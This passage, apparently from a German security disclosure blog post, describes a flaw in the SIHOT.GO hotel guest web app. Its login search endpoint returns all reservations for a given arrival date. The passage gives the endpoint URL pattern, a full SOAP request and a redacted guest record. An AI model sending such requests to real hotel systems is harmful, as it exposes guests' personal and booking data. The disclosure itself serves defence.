&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMPANY_NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_ISN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PASSWORD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_DELETED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;+49 ███ ████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LOYALTY_FLAG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INVOICE_EMAIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL_SUBSCRIPTION_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUESTTYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPIRE_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CLASSIFICATION_05&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MOBIL2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CLASSIFICATION_04&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MOBIL1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CLASSIFICATION_03&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CLASSIFICATION_02&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CLASSIFICATION_01&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INVOICEHOLDER_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MARKETSEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;BAR&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_PERSON&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LOYALTY_STATUS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_ADM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_SM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_TITLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDITIONAL_CRITERION_CODE1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDITIONAL_CRITERION_CODE2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STREET&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LOYALTY_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDITIONAL_CRITERION_CODE5&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SERVICEID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDITIONAL_CRITERION_CODE3&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_MAIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDITIONAL_CRITERION_CODE4&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEFAULT_PAYMENT_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_SMOKER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TITLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ACARDLIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL_SUBSCRIPTION_PARTNER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GUEST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_PROPERTY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;UUID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id=&#34;endlich-im-bett-wobei-bitte-doch-noch-ein-anderes-kissen&#34;&gt;Endlich im Bett. Wobei, bitte doch noch ein anderes Kissen?&lt;/h2&gt;
&lt;p&gt;Zur &lt;em&gt;SIHOT&lt;/em&gt;-Suite gehört auch die &lt;em&gt;SIHOT.GO&lt;/em&gt;-Web-App, über die die Gäste im Zimmer noch eine Pizza oder ein Kissen beim Zimmerservice nachbestellen, ihre Rechnung anschauen oder mehr über das Hotel erfahren können.&lt;/p&gt;
&lt;p&gt;Um &lt;em&gt;SIHOT.GO&lt;/em&gt; zu nutzen, muss man der Web-App zuerst verraten, welcher Gast in welchem Zimmer man eigentlich ist. Dafür muss man die Reservierungsnummer und den Nachnamen eingegeben.
Diese Infos werden dann in der Reservierungsdatenbank gesucht und wenn ein passender Eintrag gefunden wird, ist man eingeloggt.
Dieser Such-Endpunkt erlaubt allerdings – erneut – auch eine Suche nur nach Datum und gab – erneut – daraufhin eine Liste aller passenden Reservierungen zurück.&lt;/p&gt;
&lt;p&gt;Hierfür braucht es nur einen POST-Request an &lt;code&gt;https://go2.sihot.com/{CLIENT_ID}/SIHOTGO/login?HN=1&lt;/code&gt; (&lt;code&gt;{CLIENT_ID}&lt;/code&gt; ist die 4-stellige Client-Nummer des Hotels) mit folgendem Inhalt&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;soapenv:Envelope&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;xmlns:soapenv=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://schemas.xmlsoap.org/soap/envelope/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#a6e22e&#34;&gt;xmlns:s=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://www.gubse.comXXX_DUMMY_REPLACE_XXX.xsd&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;soapenv:Header/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;soapenv:Body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;s:S_GO_RESERVATION_SEARCH_V001Request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;s:TransactionID&amp;gt;&amp;lt;/s:TransactionID&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;s:Authentication&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;s:SecurityID&amp;gt;&amp;lt;/s:SecurityID&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/s:Authentication&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;s:ReservationSearch&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;s:arrival&amp;gt;&lt;/span&gt;2025-01-01&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/s:arrival&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/s:ReservationSearch&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/s:S_GO_RESERVATION_SEARCH_V001Request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/soapenv:Body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/soapenv:Envelope&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Die Antwort war dann ein langes XML-Dokument mit allen Buchungen, die an dem gesuchten Tag anfangen:&lt;/p&gt;
&lt;details&gt;
    &lt;summary&gt;Beispielhafte Antwort des Servers (Klicken zum Ausklappen)&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;SOAP-ENV:Envelope&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#a6e22e&#34;&gt;xmlns:SOAP-ENV=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://schemas.xmlsoap.org/soap/envelope/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#a6e22e&#34;&gt;xmlns:xsi=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://www.w3.org/2001/XMLSchema-instance&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#a6e22e&#34;&gt;xmlns:xsd=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://www.w3.org/2001/XMLSchema&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;SOAP-ENV:Body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;S_GO_RESERVATION_SEARCH_V001Response&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#a6e22e&#34;&gt;xmlns=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://www.gubse.com/IFS/SihotServices01.xsd&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;Result&amp;gt;&lt;/span&gt;
